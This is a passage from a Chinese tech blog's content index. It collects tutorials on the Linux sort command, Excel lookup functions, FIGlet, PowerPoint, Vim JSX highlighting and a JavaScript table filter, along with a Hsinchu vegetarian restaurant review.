linux.txt，內容如下：\nTrueOS,919 Mint,2830 Debian,1677 Solus,1303 Ubuntu,1644 Antergos,1129 elementary,1089 Manjaro,2405 openSUSE,813 Fedora,963 sort 指令預設會根據英文字母的順序排序每一行資料：\nsort linux.txt Antergos,1129 Debian,1677 elementary,1089 Fedora,963 Manjaro,2405 Mint,2830 openSUSE,813 Solus,1303 TrueOS,919 Ubuntu,1644 sort 也可以從標準輸入接收資料：\ncat linux.txt | sort 如果資料的開頭有包含空白，可以加上 -b 參數忽略空白。\n若想要將排序結果儲存至檔案，可以使用 -o 參數指定輸出檔名：\nsort -o output.txt linux.txt 不分大小寫 假設 cap.txt 資料如下：\nOrange app apple App Apple 若想讓 sort 在比較文字時，不分大小寫，可以加上 -f 參數，通常這個參數會跟 -u 參數一起使用，將重複出現的資料刪除，只留下一筆：\nsort -fu cap.txt app apple Orange 反向排序 如果想讓 sort 以反向的方式排序，可以加上 -r 參數：\n# 反向排序 sort -r linux.txt Ubuntu,1644 TrueOS,919 Solus,1303 openSUSE,813 Mint,2830 Manjaro,2405 Fedora,963 elementary,1089 Debian,1677 Antergos,1129 指定排序欄位 sort 預設是使用整行的文字來進行排序，如果每一行文字資料中，還有包含許多欄位的話（例如逗點分隔的 CSV 檔），我們也可以使用特定的欄位來作為排序的依據。\n在指定欄位之前，我們必須先使用 -t 參數指定欄位的分隔字元（預設為空白或 tab），將欄位正確切開，接著以 -k 參數指定欄位的編號。以下我們以逗號分隔欄位，並使用第二欄數字的資料作為排序的依據：\nsort -t, -k2,2 linux.txt elementary,1089 Antergos,1129 Solus,1303 Ubuntu,1644 Debian,1677 Manjaro,2405 Mint,2830 openSUSE,813 TrueOS,919 Fedora,963 -k 參數在指定欄位時輸入的兩個數字代表「起始位置」與「結束位置」，而如果將結束位置省略的話，預設的結束位置就是整行的結尾。由於這個例子只有兩個欄位，所以我們也可以把結束位置省略，寫成這樣：\nsort -t, -k2 linux.txt 不過 sort 在排序時，預設都是把資料當作文字來排序，所以上面的排序結果中，數字 1 開頭的會排在最前面，而數字 9 開頭的則會被放在最後。\n依照數值大小排序 如果想讓資料根據實際數值的大小來排序，可以加上 -n 參數：\nsort -t, -k2 -n linux.txt openSUSE,813 TrueOS,919 Fedora,963 elementary,1089 Antergos,1129 Solus,1303 Ubuntu,1644 Debian,1677 Manjaro,2405 Mint,2830 除了簡單的數字之外，我們也時常會使用各種單位來表示數值。假設 unit.txt 的 內容如下：\n12M 344 98K 1G 34213 45K 若想要對這種含有單位的數值做排序，可以使用 -h 參數：\nsort -h unit.txt 344 34213 45K 98K 12M 1G 隨機重新排序 若想要將資料打亂，以隨機的方式重新排序，可以加上 -R 參數：\nsort -R linux.txt Fedora,963 Mint,2830 Ubuntu,1644 elementary,1089 TrueOS,919 Solus,1303 Manjaro,2405 Antergos,1129 Debian,1677 openSUSE,813 不過 sort 加上 -R 參數進行隨機排序時，會自動將具有相同排序欄位值的資料放在一起。舉例來說，假設 dup.txt 文字檔的內容如下：\norange apple orange mango apple 像這種有重複出現的資料，若以 sort 進行隨機重新排序：\nsort -R dup.txt 結果就會像這樣，相同的資料會被自動放在一起，而不同資料之間的順序才是隨機的：\nmango orange orange apple apple 如果想要讓所有的資料都隨機重排，可以改用 shuf 指令：\nshuf dup.txt 依照月份排序 假設我們有一個 mon.txt 檔案，其內容是月份的資料：\nFeb Aug May Sep Jan 若想依照月份排序，可以加上 -M 參數：\nsort -M mon.txt Jan Feb May Aug Sep 在非英文語系的系統上（例如中文語系），處理這種月份資料時，要把語言設定為英文的，才能正常運作：\nLC_ALL=C sort -M mon.txt 多欄位排序 在比較複雜的資料中，我們可能會需要依據多個欄位進行排序，此時可以使用多組 -k 參數指定欄位，並加上每個欄位值的解析方式。\n解析方式的指定，就是使用前面介紹的各種參數，例如 n 代表依照數值大小排序，M 則代表依照月份排序等，放在 -k 參數位置的這些解析方式只會對該欄位有影響，不會影響到其他的欄位。\n下面這個範例是將 ls -l 的輸出交給 sort，先使用月份進行排序，若月份相同，則依照日的數值：\nexport LC_ALL=C ls -l | sort -k6M,6 -k7n,7 結果會類似這樣：\n這裡我們使用 LC_ALL 更改了語系的設定，若不想用 export 的方式，可以改成這樣（比較不會影響到其他的程式）：\nLC_ALL=C ls -l | LC_ALL=C sort -k6M,6 -k7n,7 這個例子只是用來示範 sort 多欄位的排序方法，如果真的要讓檔案依據時間排序，請使用：\nls -ltr 平行運算 如果想要使用 sort 指令排序非常大量的資料，希望加速計算的速度的話，可以使用 --parallel 這個平行化運算功能，並指定行程數量：\n# 平行排序巨量資料 sort --parallel=4 large.txt 實用指令 這行指令可以列出目前系統上最耗 CPU 的 3 個行程：\n# 列出目前最耗 CPU 的 3 個行程 ps aux | sort -nrk 3,3 | head -n 3 | nl 參考資料 Tecmint Tecmint StackExchange ","permalink":"https://blog.gtwang.org/linux/linux-sort-command-tutorial-and-examples/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003esort\u003c/code\u003e 指令排序文字資料，並提供一些常用的範例指令稿。\u003c/p\u003e\n\u003cp\u003e在 Linux 中的 \u003ccode\u003esort\u003c/code\u003e 指令可以用來處理各種文字資料的排序問題，例如根據數值大小、月份等資料排序，反向或亂數排序等。以下是 \u003ccode\u003esort\u003c/code\u003e 指令的使用教學與實用範例。\u003c/p\u003e","title":"Linux 的 sort 排序指令教學與常用範例整理"},{"content":"這裡介紹如何使用 Excel 的 INDEX 函數，從表格中取出特定位置的資料。\nExcel 的 INDEX 函數可以根據輸入的索引值，從表格中將指定位置的資料取出來，以下是此函數的基本語法教學，以及實際應用範例。\n基本用法 INDEX 的基本語法如下：\n=INDEX(表格範圍,索引值) 以下是個參數的意義：\n表格範圍：設定表格範圍。 索引值：指定要取出表格中的第幾筆資料（根據表格範圍來計算）。 以下是一個簡單的範例，假設我們想要從姓名欄位中，找出第四個人的姓名，可以這樣寫：\n=INDEX(A2:A11,4) INDEX 的索引值是依據表格範圍來計算的相對位置，以這個例子來說，我們將表格範圍設定為 A2:A11，不包含第一列的標頭，所以 4 這個索引值會對應到這個範圍的第四筆資料，也就是 A5 那一格儲存格。\nINDEX 的索引值也可以從別的儲存格中取得，例如我們可以設計讓使用者輸入位置，然後自動找出該位置的人名資料：\n=INDEX(A2:A11,C2) 橫式表格 INDEX 也可以套用至橫向的表格範圍，使用方式大同小異：\n=INDEX(B1:G1,3) 亦可讓使用者自行輸入位置，然後取出指定的資料：\n=INDEX(B1:G1,C4) 二維表格 INDEX 也可以從二維表格中取出指定位置的資料，基本的語法如下：\n=INDEX(表格範圍,列索引值,行索引值) 各個參數的意義如下：\n表格範圍：指定二維表格的範圍。 列索引值：指定表格的列索引值。 行索引值：指定表格的行索引值。 INDEX 會根據列索引值與行索引值取出指定位置的資料。\n以下是一個範例簡單的：\n=INDEX(A2:C11,3,2) 亦可讓使用者自行輸入二維表格中的位置，然後取出指定的資料：\n=INDEX(A2:C11,E2,F2) 應用範例 INDEX 函數最常見的應用就是配合 MATCH 函數來實作查表功能。以下的範例中，我們讓使用者輸入姓名，然後根據姓名在表格中尋找他的業績：\n=INDEX(C2:C11,MATCH(E2,A2:A11,)) 在這個公式裡，我們先使用 MATCH 函數找出該姓名在表格中的位置，然後再以 INDEX 函數將對應位置的業績資料取出來，實現查表的功能。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/excel-index-function-tutorial-examples/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 的 \u003ccode\u003eINDEX\u003c/code\u003e 函數，從表格中取出特定位置的資料。\u003c/p\u003e\n\u003cp\u003eExcel 的 \u003ccode\u003eINDEX\u003c/code\u003e 函數可以根據輸入的索引值，從表格中將指定位置的資料取出來，以下是此函數的基本語法教學，以及實際應用範例。\u003c/p\u003e","title":"Excel INDEX 函數用法教學：取出表格中特定位置的資料"},{"content":"這裡介紹如何使用 FIGlet 產生以純文字 ASCII 字元畫出來的大型文字。\nFIGlet 是一個可以產生各種 ASCII Art 大型字體的工具，可用來製作文字介面程式用的 banner，支援的字型非常豐富，對於終端機的程式來說很實用。\n安裝 FIGlet 若在 Debian 或 Ubuntu Linux 中，可以使用 apt 安裝 FIGlet 這個工具：\nsudo apt-get install figlet 若是 CentOS Linux，則在啟用 EPEL 之後，使用 yum 安裝：\nsudo yum install epel-release sudo yum install figlet 基本用法 直接執行 figlet 指令，並指定文字的內容即可產生大型文字：\nfiglet \u0026#34;G. T. Wang\u0026#34; ____ _____ __ __ / ___| |_ _| / /_ _ _ __ __ _ | | _ | | / / / _` | '_ / _` | | |_| |_ | |_ V V / (_| | | | | (_| | ____(_) |_(_) _/_/ __,_|_| |_|__, | |___/ figlet 也可以像一般的 Linux 指令一樣，從標準輸入取得文字內容：\nLANG=C date | figlet __ __ __ __ _ ___ | / | ___ _ __ | / | __ _ _ __ / |/ _ | |/| |/ _ | '_ | |/| |/ _` | '__| | | (_) | | | | | (_) | | | | | | | | (_| | | | |__, | |_| |_|___/|_| |_| |_| |_|__,_|_| |_| /_/ _ __ _________ _ ____ ____ ____ _____ ____ ___ _ ___ / |/ /_ _|___ / ___|_/ | ___| / ___/ ___|_ _| |___ / _ / |( _ ) | | '_ (_) |_ ___ (_) |___ | | ___ | | __) | | | | |/ _ | | (_) | ___) |__) || |___) | | |___ ___) || | / __/| |_| | | (_) | |_|___(_)____/____(_)_|____/ ____|____/ |_| |_____|___/|_|___/ 若執行 figlet 指令，不加任何參數的話，會進入互動式的環境，使用者每輸入一行文字，就會輸出轉換的結果：\nfiglet 選擇字型 FIGlet 的字型是可以選擇的，我們可以使用 figlist 這個指令列出 FIGlet 內建的所有字型：\nfiglist Default font: standard Font directory: /usr/share/figlet Figlet fonts in this directory: banner big block bubble digital ivrit lean [略] 從 figlist 指令的輸出中，我們可以看出 FIGlet 預設的字型目錄是 /usr/share/figlet（所以也可以直接到這個目錄下查看可用的字型），而預設的字型則為 standard。\n若要指定字型，可以使用 -f 參數，例如使用 banner 這個字型：\nfiglet -f banner \u0026#34;G. T. Wang\u0026#34; ##### ####### # # # # # # # # ## # # #### # # # # # # # ## # # # # #### # # # # # # # # # # # # ### # ### # # # ###### # # # # ### # # ### # ### # # # # # # ## # # ##### ### # ### ## ## # # # # #### 下載字型檔 除了系統上預設安裝好的字型之外，在 FIGlet 的官方網站上也有非常多的字型可以下載使用，建議可以從它的範例網頁中挑選喜歡的字型，然後再下載對應的字型檔。\n假設我們想要使用 isometric1，就先下載該字型檔：\nwget https://www.figlet.org/fonts/isometric1.flf 接著在含有這個字型檔的目錄，執行 figlet 並以 -f 參數指定字型名稱：\nfiglet -f isometric1 \u0026#34;GTW\u0026#34; ___ ___ ___ / / /__ /:: : /:/ _/_ /:/: : /:/ /__ /:/ : /:: /:/ /:/ _/_ /:/__/_:__ /:/:__ /:/_/:/ /__ : / /__/ /:/ /__/ :/:/ /:/ / : :__ /:/ / ::/_/:/ / :/:/ / /__/ :/:/ / ::/ / ::/ / /__/ /__/ 細部調整選項 FIGlet 預設會讓每個字母黏在一起，如果想要讓每個字母分開，看得更清楚的話，可以加上 -k 參數：\nfiglet -k \u0026#34;G. T. Wang\u0026#34; ____ _____ __ __ / ___| |_ _| / /__ _ _ __ __ _ | | _ | | / / // _` || '_ / _` | | |_| | _ | | _ V V /| (_| || | | || (_| | ____|(_) |_|(_) _/_/ __,_||_| |_| __, | |___/ 如果在終端機螢幕上，想要讓輸出的文字置中，可以加上 -c 參數：\nfiglet -c \u0026#34;G. T. Wang\u0026#34; 終端機的畫面寬度會直接影響到 FIGlet 的排版，FIGlet 預設的終端機的寬度為 80，如果您所使用的終端機寬度不是 80 的話，可以加上 -t 參數讓 FIGlet 自動偵測終端機的寬度，或是使用 -w 新寬度 的方式指定新的寬度。\n以下是一些有趣的指令，其將 figlet 所產生的文字，送給 tr 進行取代，產生出不同的效果：\nfiglet -f lean | tr \u0026#39; _/\u0026#39; \u0026#39; ()\u0026#39; figlet -f lean | tr \u0026#39; _/\u0026#39; \u0026#39;./\u0026#39; figlet -f lean | tr \u0026#39; _/\u0026#39; \u0026#39; //\u0026#39; figlet -f lean | tr \u0026#39; _/\u0026#39; \u0026#39;/ \u0026#39; 參考資料 iT邦幫忙 ","permalink":"https://blog.gtwang.org/linux/figlet-command-ascii-art-text-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 FIGlet 產生以純文字 ASCII 字元畫出來的大型文字。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.figlet.org/\"\u003eFIGlet\u003c/a\u003e 是一個可以產生各種 ASCII Art 大型字體的工具，可用來製作文字介面程式用的 banner，支援的字型非常豐富，對於終端機的程式來說很實用。\u003c/p\u003e","title":"Linux 的 FIGlet 指令產生 ASCII Art 大型文字教學"},{"content":"這裡介紹如何使用 Excel 的 MATCH 函數，在表格中尋找指定的資料。\nExcel 的 MATCH 函數可以用來搜尋儲存格範圍中的指定項目，找出符合的資料後，傳回該項目在該範圍中的相對位置，以下是此函數的基本語法教學，以及實際應用範例。\n基本用法 MATCH 函數的語法如下：\n=MATCH(搜尋值,搜尋範圍,搜尋類型) 以下是個參數的意義：\n搜尋值：想要尋找的值。 搜尋範圍：搜尋的範圍。 搜尋類型：指定搜尋類型，若至指定為 0 則代表尋找完全一樣的值；若指定為 1 則代表尋找小於或等於搜尋值的最大值；若指定為 -1 則代表尋找大於或等於搜尋值的最小值。 以下是一個簡單的範例，假設我們想要從姓名欄位中，找出「岳不羣」的位置，就可以這樣寫：\n=MATCH(\u0026#34;岳不羣\u0026#34;,A2:A11,0) 在搜尋文字的資料時，由於沒有大小比較的運算，所以 MATCH 的最後一個搜尋類型參數一律都是填 0。\nMATCH 的 搜尋值也可以從別的儲存格中取得。例如我們可以設計讓使用者輸入姓名，然後自動查出這個人的位置：\n=MATCH(C2,A2:A11,0) 橫式表格 MATCH 函數的搜尋範圍也可以是橫向的儲存格，例如：\n=MATCH(\u0026#34;柑橘\u0026#34;,B1:G1,0) 這是讓使用者自行輸入搜尋值的例子：\n=MATCH(C4,B1:G1,0) 應用範例 MATCH 這個函數功能比較簡單，實務上通常都會搭配其他的函數一起使用，最常見的就是配合 INDEX 函數，實作查表的功能。\n下面這個範例中，我們想要讓使用者輸入姓名，然後自動以 MATCH 配合 INDEX 函數從表格中查出這個人的學號，完整的公式如下：\n=INDEX(A2:A11,MATCH(D2,B2:B11,0)) 在這個公式中，我們先使用 MATCH(D2,B2:B11,0) 找出輸入姓名所在的位置，接著再將這個所在位置（它是一個數字）放進 INDEX 函數中，把對應位置的學號資料挑出來，這樣就完成一個查找學號的公式了。\n執行結果會像這樣：\n參考資料 MATCH 函數 使用 VLOOKUP、INDEX 或 MATCH 尋找值 ","permalink":"https://blog.gtwang.org/windows/excel-match-function-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 的 \u003ccode\u003eMATCH\u003c/code\u003e 函數，在表格中尋找指定的資料。\u003c/p\u003e\n\u003cp\u003eExcel 的 \u003ccode\u003eMATCH\u003c/code\u003e 函數可以用來搜尋儲存格範圍中的指定項目，找出符合的資料後，傳回該項目在該範圍中的相對位置，以下是此函數的基本語法教學，以及實際應用範例。\u003c/p\u003e","title":"Excel MATCH 函數用法教學：在表格中搜尋指定項目位置"},{"content":"這裡介紹如在 Excel 中使用 ROMAN 與 ARABIC 函數，處理阿拉伯數字與羅馬數字的轉換問題。\n阿拉伯數字轉羅馬數字 Excel 的 ROMAN 函數可以將阿拉伯數字轉換為羅馬數字，使用方式如下：\n=ROMAN(阿拉伯數字) 以下是一個實際的範例，假設我們有一些阿拉伯數字：\n若要將這些阿拉伯數字轉為羅馬數字，可以先在羅馬數字欄位的第一個空格填入以下公式：\n=ROMAN(A2) 然後將公式套用至下方所有的儲存格，就可以將每一個阿拉伯數字轉為羅馬數字了。\n羅馬數字轉阿拉伯數字 如果想要將羅馬數字轉為阿拉伯數字，則可以使用 ARABIC 這個函數：\n=ARABIC(羅馬數字) 以下是將羅馬數字轉為阿拉伯數字的範例：\n=ARABIC(B2) 參考資料 Exceljet: ROMAN Function Exceljet: ARABIC Function ","permalink":"https://blog.gtwang.org/windows/excel-roman-function-tutorial/","summary":"\u003cp\u003e這裡介紹如在 Excel 中使用 \u003ccode\u003eROMAN\u003c/code\u003e 與 \u003ccode\u003eARABIC\u003c/code\u003e 函數，處理阿拉伯數字與羅馬數字的轉換問題。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"阿拉伯數字轉羅馬數字\"\u003e阿拉伯數字轉羅馬數字\u003c/h2\u003e\n\u003cp\u003eExcel 的 \u003ccode\u003eROMAN\u003c/code\u003e 函數可以將阿拉伯數字轉換為羅馬數字，使用方式如下：\u003c/p\u003e","title":"Excel 阿拉伯數字、羅馬數字轉換教學"},{"content":"也果蔬食竹科店是靜心湖旁供應早餐、午餐與晚餐的素食餐廳，餐點美味健康、價位合理、環境清悠，是很值得推薦的餐廳。\n以往在新竹科學園區裡面要想要找素食餐廳都不是很方便，而現在靜心湖旁開了一家也果蔬食之後，讓吃素的人方便很多，它的位置就在全家便利商店隔壁，路旁有一個小招牌。\n這裡不管對於開車或騎車的人來說，交通都非常方便，它距離竹科的交流道很近，不管從園區入口，或是從高速公路交流道過來，都不用一分鐘，而這附近都是竹科的宿舍，到處都是免費的停車格，非常好停車。若開車走中山高速公路經過新竹的話，來這邊用餐非常方便，不用進市區塞車，環境又好。\n對於來竹科出差、乘坐竹科巡迴巴士的人來說，從科技生活館走路過來，大概 10 分鐘左右就可以到。另外由於科技生活館與也果蔬食的門口都有 YouBike 的站點，所以若不想走路的話，也可以直接從科技生活館騎 YouBike 腳踏車過來，非常方便。\n店名：果蔬食竹科店\n地址：新竹市東區科學園區竹村七路七號\n營業時間：週一至週五 7:00 ～ 21:00\n週日 9:00 ～ 21:00\n電話：(03) 666-9930\n網站：facebook 粉絲專頁\n備註：週六、週日早餐在二樓\n沿著綠草地上的步道走上去，就是也果蔬食了。\n平常日的早餐是在一樓，外面也有露天的座位，午餐與晚餐則是在二樓，周圍都是綠樹與草地，天氣好的話在這裡用早餐（或早午餐）非常舒服。\n這是一樓的早餐櫃台。\n這裡也有賣一些比較健康食材以及餅乾。\n這是早餐的菜單。\n經營也果蔬食的阿姨在餐點的製作上都非常用心，她跟我說早餐的「五行蔬果飯糰」很不錯，裡面有加她自己炒的杏鮑菇，很多女生都喜歡早上來買一個飯糰去上班，中午當中餐吃。\n這是午餐與晚餐的菜單，而菜單的內容會隨著季節不同而做調整，盡量以當季蔬菜製作最健康的料理。基本上這裡的餐點大部分都是全素的，沒有任何五辛（阿姨自己也不吃五辛），如果想要吃蛋的人可以另外加。\n由於也果蔬食的菜單會定期更換，最新的訊息請參考他們的 facebook 粉絲專頁。\n這一道是「堅果地瓜泥+蘋果」，地瓜泥上還撒了許多的堅果，很好吃。\n這是套餐的豆漿（應該是無糖或微糖，我喝不太出有甜味），由於這裡的豆漿是自己打黃豆來煮的，所以喝起來很香醇。\n這一盤是時蔬沙拉，蔬果都很新鮮，我個人感覺很好吃。\n這些就是一份「堅果地瓜泥+蘋果」的 B 套餐，飲料的部分可以自己選擇，除了豆漿之外，也可以選紅茶、黑咖啡或蘋果醋。\n天氣不錯時，在露天咖啡座悠閒吃早午餐，感覺很舒服。\n這裡週六或週日也都有營業，但是早午餐改在二樓，所以如果是假日來這裡的話，要記得直接走上二樓用餐。\n在二樓的部分，主要供應午餐與晚餐（以及假日早餐），二樓這裡的用餐環境既寬敞又舒適，來這裡用餐時，記得要到櫃台點餐並先結帳。\n阿姨她對待每一位客人都非常親切，就像是自己的家人一樣，所以大家也都很習慣叫她阿姨。而她準備餐點時都非常用心，對食材也很講究，讓大家來這邊吃飯就像回到自己家一樣，可以很放心，吃的也很健康。\n這裡的座位還不少，除了午餐與晚餐之外，還有下午茶，以及免費的 WiFi 無線網路，阿姨說她沒有限制大家的用餐時間，她希望把這裡的空間分享給大家來使用。\n阿姨真的把這裡的用餐環境布置得很好，來到這裡就感覺很悠靜，可以放鬆休息、慢慢用餐。\n這張是也果蔬食的食材地圖，她們盡量從各地小農手上取得當季新鮮的食材，推廣友善環境的概念，雖然無法讓所有的食材都達到這樣的目標，但是至少盡可能朝這個方向努力。\n這是餐具區，也有兒童餐具可以使用。\n這邊很特別的一點就是有一大片兒童遊樂區，小朋友吃飽後就可以在這邊玩。\n旁邊有洗手台以及兒童座椅。\n這一道是川味燒滷麵，有一點點辣，天氣冷的時候很適合來吃一碗。\n在這裡用餐是屬於自助式的，吃飽之後記得把餐具以及剩菜拿到後方的回收區放好喔。\n櫃台這邊有放一些仁光寺當天早上現做的方外養生饅頭。\n阿姨對於食物的新鮮度都很講究，聽阿姨說這些饅頭每天早上送過來，都是當天就賣完了，每天都是最新鮮的。\n也果蔬食的口味很大眾化，很多平常沒有吃素的人都會來這裡吃飯，我會知道這家店也是一位沒吃素的同事介紹我來的，大部分吃過的人都感覺很棒，若有來靜心湖或是金山寺的話，推薦大家可以來這邊用餐。\n","permalink":"https://blog.gtwang.org/life/ye-guo-vegetarian-restaurant-lake-jingxin-hsinchu-science-park/","summary":"\u003cp\u003e也果蔬食竹科店是靜心湖旁供應早餐、午餐與晚餐的素食餐廳，餐點美味健康、價位合理、環境清悠，是很值得推薦的餐廳。\u003c/p\u003e\n\u003cp\u003e以往在新竹科學園區裡面要想要找素食餐廳都不是很方便，而現在\u003ca href=\"/life/lake-jingxin-and-jinshan-temple-hsinchu-2016/\"\u003e靜心湖\u003c/a\u003e旁開了一家也果蔬食之後，讓吃素的人方便很多，它的位置就在全家便利商店隔壁，路旁有一個小招牌。\u003c/p\u003e","title":"[竹科素食] 也果蔬食竹科店：靜心湖畔早餐、午餐、晚餐，近金山寺"},{"content":"這裡介紹如何在 PowerPoint 中加入投影片的編號、頁尾、日期與時間，並設定投影片編號的起始值。\n用 PowerPoint 製作投影片時，常會需要在投影片的角落加上編號、頁尾與日期等標示，而通常在設計好的 PowerPoint 樣板中，都會預留這類的文字的放置位置，只要啟用對應的功能，就可以自動加入符合投影片風格的文字，既快速又方便，以下是操作教學。\n加入投影片編號、頁尾、日期 Step 1\n選擇「插入」籤頁，然後點選「頁首及頁尾」。\nStep 2\n在頁首及頁尾的設定選單中，可以設定是否入日期及時間、投影片編號、頁尾文字，並可以自由調整文字的內容與格式。\n如果不想在第一張封面的投影片上加入這些文字，可以在「標題投影片中不顯示」的選項上打勾。\nStep 3\n插入的頁尾、日期與投影片編號會自動放置在 PowerPoint 範本預定好的位置上，而如果某些投影片的內容剛好比較多，會跟這些文字重疊時，可以自己手動把那些地方調整一下。\nStep 4\n當我們變換 PowerPoint 範本時，頁尾、日期與投影片編號的位置也會自動根據新的樣板調整，非常方便。\n變更起始投影片編號 正常的投影片編號都是從 1 開始計算，如果想要改變投影片的起始編號，可以在「設計」籤頁中，選擇「自訂」選單中的「自訂投影片大小」。\n在這裡就可以自己設定投影片編號的起始值。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/powerpoint-add-slide-numbers-page-numbers-date-and-time/","summary":"\u003cp\u003e這裡介紹如何在 PowerPoint 中加入投影片的編號、頁尾、日期與時間，並設定投影片編號的起始值。\u003c/p\u003e\n\u003cp\u003e用 PowerPoint 製作投影片時，常會需要在投影片的角落加上編號、頁尾與日期等標示，而通常在設計好的 PowerPoint 樣板中，都會預留這類的文字的放置位置，只要啟用對應的功能，就可以自動加入符合投影片風格的文字，既快速又方便，以下是操作教學。\u003c/p\u003e","title":"PowerPoint 加入投影片編號、頁尾、日期及時間教學"},{"content":"這裡介紹如何在 Linux 中安裝 vim-jsx 這個 Vim 的 JSX 語法外掛，讓 React JSX 的程式碼可以呈現正常的色彩。\nJSX 是 React 所新創的 JavaScript 擴充語言，比傳統的 JavaScript 多出許多新的語法，所以 Vim 編輯器遇到 JSX 的程式碼時，會無法顯示出正確的語法顏色。\n若要在 Vim 中正常顯示 JSX 的語法顏色，需要另外安裝外掛程式，以下是安裝步驟教學。\n安裝 vim-jsx 外掛 vim-jsx 就是專門用來顯示 JSX 程式碼外掛（plugin），而它在使用時必須配合 vim-javascript 這類 Vim 的 JavaScript 語法突顯外掛才能正常使用。\n安裝方式有好幾種，這裡示範使用 Vundle 的方式來安裝，在開始之前，請先參考 Vundle 的教學，安裝好 Vundle 的環境。\n確認 Vundle 環境可以正常運作之後，在 ~/.vimrc 設定檔中，加入以下兩行：\nPlugin \u0026#39;pangloss/vim-javascript\u0026#39; Plugin \u0026#39;mxw/vim-jsx\u0026#39; 接著在 Linux 的 shell 底下執行以下指令，安裝新加入的外掛：\nvim +PluginInstall +qall 若沒有出現錯誤，則代表安裝完成。\n此時用 Vim 打開 JSX 的程式碼，就會顯示正常的色彩了：\n如果是打開 Vim 編輯器，直接貼上程式碼的話，可以將 syntax 設定為 javascript.jsx 即可正常顯示 JSX 程式碼的顏色：\n:set syntax=javascript.jsx ","permalink":"https://blog.gtwang.org/programming/vim-react-jsx-syntax-highlighting-and-indenting/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中安裝 \u003ccode\u003evim-jsx\u003c/code\u003e 這個 Vim 的 JSX 語法外掛，讓 React JSX 的程式碼可以呈現正常的色彩。\u003c/p\u003e\n\u003cp\u003eJSX 是 React 所新創的 JavaScript 擴充語言，比傳統的 JavaScript 多出許多新的語法，所以 Vim 編輯器遇到 JSX 的程式碼時，會無法顯示出正確的語法顏色。\u003c/p\u003e","title":"Vim 設定 React JSX 程式碼顏色教學"},{"content":"這裡介紹如何將 Excel 的表格複製成向量圖，貼在 Word 或 PowerPoint 中，或是轉為點陣圖儲存為圖片檔案。\n如果想要將 Excel 中調整好排版與配色的表格，複製到其他的地方使用（例如 PowerPoint、Word 或其他繪圖軟體等），可以使用 Excel 內建的複製成圖片功能，將 Excel 複製為向量圖或是點陣圖，然後在其他軟體中貼上圖片即可。\n假設我們有一個排版好的表格如下：\n以下示範如何將這個 Excel 表格複製為圖片，貼在各種軟體中，並儲存為圖檔。\nStep 1\n用滑鼠將要複製的表格範圍選取起來。\nStep 2\n在「常用」籤頁中，點選複製功能的下拉式選單。\nStep 3\n點選「複製成圖片」。\nStep 4\n在「格式」的部分，預設的「圖片」適合用於 Word、PowerPoint 這類 Office 內的軟體，其屬於向量圖格式，也就是說貼上的圖形在放大之後也非常清晰，不會失真。\n如果想要把表格圖形貼在 GIMP 這類的繪圖軟體上，在「格式」的部分就要選擇「點陣圖」。\nStep 5\n將表格複製成圖片之後（記得選擇「圖片」的格式），可以貼在 Word 文件當中。\n而在 Word 中貼上表格的圖片之後，若想要把這張圖儲存為圖檔，可以點選滑鼠右鍵，選擇「另存成圖片」即可。\n「圖片」的格式也很適合貼在 PowerPoint 簡報中。\n若要貼在 GIMP 這類的繪圖軟體，就要把複製的圖片格式改為「點陣圖」，這樣才能貼在 GIMP 中，而貼上的方法很簡單，只要打開 GIMP 之後，直接按下 Ctrl + v 即可。\n","permalink":"https://blog.gtwang.org/windows/excel-convert-spreadsheet-to-image/","summary":"\u003cp\u003e這裡介紹如何將 Excel 的表格複製成向量圖，貼在 Word 或 PowerPoint 中，或是轉為點陣圖儲存為圖片檔案。\u003c/p\u003e\n\u003cp\u003e如果想要將 Excel 中調整好排版與配色的表格，複製到其他的地方使用（例如 PowerPoint、Word 或其他繪圖軟體等），可以使用 Excel 內建的複製成圖片功能，將 Excel 複製為向量圖或是點陣圖，然後在其他軟體中貼上圖片即可。\u003c/p\u003e","title":"Excel 表格複製成圖片、儲存為圖檔教學"},{"content":"這裡介紹如何在網頁中加入簡單的 JavaScript 程式碼，讓表格擁有基本的資料搜尋與篩選功能。\n在設計網頁時，若遇到表格資料比較多的情況，可以適時加入輕量化的 JavaScript 程式碼，讓表格具有簡易的資料搜尋與篩選功能，讓使用者更方便尋找資料，而這種做法不會使用到 jQuery 等大型函式庫，對於整個網頁的效能幾乎沒有影響。\nHTML 原始碼 首先在表格上方加入一個讓使用者輸入搜尋關鍵字的 \u0026lt;input\u0026gt; 欄位，並且設定其 class 屬性為 light-table-filter，隨後我們會在 JavaScript 中使用這個屬性抓出此標籤。\n接著設定\u0026lt;input\u0026gt; 的 data-table 屬性為 order-table ，我們將透過這個屬性來指定要搜尋與篩選的表格。接著將含有資料的靜態表格修改一下，將其 class 屬性也設定為 order-table（與 \u0026lt;input\u0026gt; 的 data-table 屬性對應）。\n搜尋：\u0026lt;input type=\u0026#34;search\u0026#34; class=\u0026#34;light-table-filter\u0026#34; data-table=\u0026#34;order-table\u0026#34; placeholder=\u0026#34;請輸入關鍵字\u0026#34;\u0026gt; \u0026lt;table class=\u0026#34;order-table\u0026#34;\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;姓名\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;電話\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;令狐沖\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;0928-123456\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;岳不群\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;0928-654321\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; 